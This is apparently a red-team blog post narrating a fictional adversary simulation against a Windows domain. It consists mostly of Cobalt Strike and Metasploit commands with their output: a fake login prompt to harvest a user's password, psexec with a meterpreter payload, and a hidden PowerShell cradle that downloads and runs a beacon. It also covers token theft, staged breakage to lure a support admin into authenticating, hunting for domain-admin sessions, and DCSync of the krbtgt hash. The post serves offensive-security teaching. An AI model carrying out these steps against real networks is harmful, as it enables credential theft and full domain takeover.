I recently completed an adversary simulation and thought I would write a short post about some of my experiences.

The target organisation had an interesting mix of both good (for “regulatory compliance” purposes) and bad security practices. Once you’ve been around the block enough, you come to learn that implementing security for the sole purpose of passing compliance audits isn’t all that effective in mitigating against “cyber attack” (yeah, I said it), even against actors that aren’t particularly sophisticated.


We’ll start with a session as the user awhitehead. Note that everything you see here are fictional representations.

Situational Awareness

In this little setup, we have the following:

beacon> net computers

 Server Name             IP Address
 -----------             ----------
beacon> powershell Get-NetGroupMember -GroupName "Domain Admins"

GroupDomain  : cyber-lance.local
GroupName    : Domain Admins
MemberDomain : cyber-lance.local
MemberName   : lshah_da
MemberSID    : S-1-5-21-884887136-373167198-2530644098-1110
IsGroup      : False
MemberDN     : CN=Logan Shah (DA),CN=Users,DC=cyber-lance,DC=local
beacon> powershell Get-NetLocalGroup -GroupName Administrators | Select-Object AccountName

cyber-lance.local/Domain Admins
cyber-lance.local/Desktop Support
beacon> powershell Get-NetGroupMember -GroupName "Desktop Support"

GroupDomain  : cyber-lance.local
GroupName    : Desktop Support
MemberDomain : cyber-lance.local
MemberName   : kwilson_adm
MemberSID    : S-1-5-21-884887136-373167198-2530644098-1109
IsGroup      : False
MemberDN     : CN=Keira Wilson (Admin),CN=Users,DC=cyber-lance,DC=local

What we can observe so far:

  • They’re using separate accounts for DA and other administrative purposes.
  • They suffix their usernames with _da and _adm accordingly.
  • They add (DA) and (Admin) to their distinguished names.
  • awhitehead is a local admin on his workstation, but not with an _adm account.

Knowing this convention makes it easy for us to quickly enumerate potential admin accounts:

beacon> powershell Get-NetUser -Filter "(samaccountname=*_adm)" | Select-Object name, samaccountname

name                                    samaccountname                         
----                                    --------------                         
Keira Wilson (Admin)                    kwilson_adm

Or find if a standard user has an associated admin account:

beacon> powershell Get-NetUser -Filter "(samaccountname=kwilson*)" | Select-Object name, samaccountname

name                                    samaccountname                         
----                                    --------------                         
Keira Wilson                            kwilson                                
Keira Wilson (Admin)                    kwilson_adm

Local Privilege Escalation

awhitehead is a local admin, so there’s potential for us to elevate privs on this workstation. He doesn’t have local admin on any other machine. Before throwing UAC bypasses around, one should always check the UAC configuration.

beacon> powershell Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

PSPath                      : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
PSParentPath                : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies
PSChildName                 : System
PSDrive                     : HKLM
PSProvider                  : Microsoft.PowerShell.Core\Registry
ConsentPromptBehaviorAdmin  : 1
ConsentPromptBehaviorUser   : 1
EnableInstallerDetection    : 1
EnableLUA                   : 1
EnableSecureUIAPaths        : 1
EnableUIADesktopToggle      : 1
EnableVirtualization        : 1
PromptOnSecureDesktop       : 1
ValidateAdminCodeSignatures : 0
dontdisplaylastusername     : 0
legalnoticecaption          : 
legalnoticetext             : 
scforceoption               : 0
shutdownwithoutlogon        : 1
undockwithoutlogon          : 1
FilterAdministratorToken    : 0

Taken from MSDN:

ConsentPromptBehaviorAdmin  : 1  --->  This option prompts the Consent Admin to enter his or her user name and password (or another valid admin) when an operation requires elevation of privilege. This operation occurs on the secure desktop.
ConsentPromptBehaviorUser   : 1  --->  This option SHOULD be set to ensure that a standard user that needs to perform an operation that requires elevation of privilege will be prompted for an administrative user name and password. If the user enters valid credentials, the operation will continue with the applicable privilege.
EnableLUA                   : 1  --->  This policy enables the "administrator in Admin Approval Mode" user type while also enabling all other User Account Control (UAC) policies.
PromptOnSecureDesktop       : 1  --->  This policy will force all UAC prompts to happen on the user's secure desktop.

This config broadly translate to the Always Notfiy setting you find in the Control Panel. In reality, moving that slider affects several registry items at the same time. So in this scenario, the user would see the UAC prompt if we tried any of the usual bypasses.

If we had the users’ password, we could use PsExec to start an elevated session on this machine. You can’t psexec to and from the same host (at least in CS), so I pulled out the trusty Metasploit Framework. To get the user’s password, all we have to do is ask.

I use a modified version of Matt Nelson’s Invoke-LoginPrompt. The only difference being that mine will pop an error message before prompting for creds - choosing something believable may increase the chance of them submitting without too much fuss. Also, prompting for their standard account password (e.g. to reconnect Outlook) is easier to fool them into inventing a reason why they’d need to enter creds for their admin account.

beacon> powershell Invoke-LoginPrompt

UserName                   Domain                     Password                 
--------                   ------                     --------                 
awhitehead                 CYBER-LANCE                Passw0rd!

Now to setup beacon and msf.

beacon> socks 32479
beacon> sleep 0
msf > setg Proxies socks4:
msf > use exploit/windows/smb/psexec_psh

msf exploit(psexec) > set RHOST
msf exploit(psexec) > set SMBDomain cyber-lance
msf exploit(psexec) > set SMBUSER awhitehead
msf exploit(psexec) > set SMBPASS Passw0rd!
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp

msf exploit(psexec) > exploit 

[*] Started bind handler
[*] - Connecting to the server...
[*] - Authenticating to|cyber-lance as user 'awhitehead'...
[*] - Selecting PowerShell target
[*] - Executing the payload...
[+] - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (957487 bytes) to
[*] Meterpreter session 1 opened ( -> at 2017-06-17 21:04:05 +0100

meterpreter > sysinfo 
Computer        : WKSTN-01
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_GB
Domain          : CYBER-LANCE
Logged On Users : 3
Meterpreter     : x86/windows

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM

I like to hand the session back over to CS so I have everything in one place. I’ll do this by hosting a stageless PowerShell SMB beacon payload and use a reverse port forward to grab it. The reason for doing it this way is that the outbound web proxy in this evironment has NTLM auth, which means processes running in SYSTEM context can’t talk out to the Internet directly.

beacon> rportfwd 6798 80
meterpreter > shell
Process 2896 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring(''))"
06/17 21:10:40 visit from:
    Request: GET /smb
    page Serves /opt/cobaltstrike/uploads/beacon.ps1
beacon> link
[+] established link to child beacon:

Lateral Movement

I would never normally recommend going down this route unless you had little alternative.

As it currently stands I have no way of moving laterally across the workstations, but the members of Desktop Support do because they are local admins. What I could do, is break an application (or carry out some other action) on WKSTN-01 so that awhitehead needs to contact the support team for assistance. They may then remote over to the workstation, where I can hijack their credentials or running process.

awhitehead is offered remote assistance by Kiera Wilson (Admin), to which he accepts.

Keira will ask Andrew to allow her to respond to UAC prompts, which he will dutifully do.

Keira will then use her credentials to elevate on WKSTN-01, so she can carry out her investigations / fixes.

We now have keira_adm authenticated and running elevated processes on the compromised workstation.

beacon> net logons
Logged on users at \\localhost:

beacon> shell tasklist /v | findstr /i kwilson_adm
cmd.exe         3348     Console 1     2,272 K     Unknown     CYBER-LANCE\kwilson_adm     0:00:00       N/A                                                                     
conhost.exe     3116     Console 1     3,988 K     Unknown     CYBER-LANCE\kwilson_adm     0:00:0100     N/A 
beacon> make_token CYBER-LANCE\kwilson_adm Passw0rd!

beacon> psexec_psh wkstn-02 smb
[+] established link to child beacon:

beacon> inject 3220 http

3220 was the pid of explorer running as kwilson. I also rearranged my beacons to the following.

I purposely didn’t continue using kwilson_adm on WKSTN-01 - if I want to reuse her credentials to take the workstation of another privileged user, it will look more natural coming from WKSTN-02 than 01. The same reason that once I took WKSTN-02 from WKSTN-01, I terminated the connection. You wouldn’t normally see connections going 01 -> 02 but rather 02 -> 01.

User Hunting

To win the game, we now need to find the workstation of a DA, move across and plunder. It’s an obvious failing of this organisation, that even though they’re using separate admin accounts, they’re still used across low-tier workstations. We should be able to find the standard account of a DA logged into a workstation and they’ll be doing something like runas mmc with their DA creds.

beacon> powershell Invoke-UserHunter

UserDomain      : CYBER-LANCE
UserName        : lshah_da
ComputerName    : WKSTN-03.cyber-lance.local
IPAddress       :
SessionFrom     : 
SessionFromName : 
LocalAdmin      :  
beacon> powershell Get-NetComputer | Get-NetLoggedOn | Where {$_.wkui1_username -like "lshah_da"} | Select-Object ComputerName

beacon> psexec_psh wkstn-03 smb
[+] established link to child beacon:
beacon> net logons
Logged on users at \\localhost:

beacon> shell tasklist /v | findstr /i lshah_da
mmc.exe     3220     Console 2     2,688 K     Unknown     CYBER-LANCE\lshah_da     0:00:00     N/A

Game Over

beacon> make_token CYBER-LANCE\lshah_da Passw0rd!
beacon> dcsync cyber-lance.local cyber-lance\krbtgt

[DC] 'cyber-lance.local' will be the domain
[DC] 'dc-01.cyber-lance.local' will be the DC server
[DC] 'cyber-lance\krbtgt' will be the user account

Object RDN           : krbtgt


SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   : 
Password last change : 17/06/2017 17:22:39
Object Security ID   : S-1-5-21-884887136-373167198-2530644098-502
Object Relative ID   : 502

  Hash NTLM: 8aa0265124c7696166d01c1431ff6c44
    ntlm- 0: 8aa0265124c7696166d01c1431ff6c44
    lm  - 0: b5cf441f199c4456800a29a0312146b7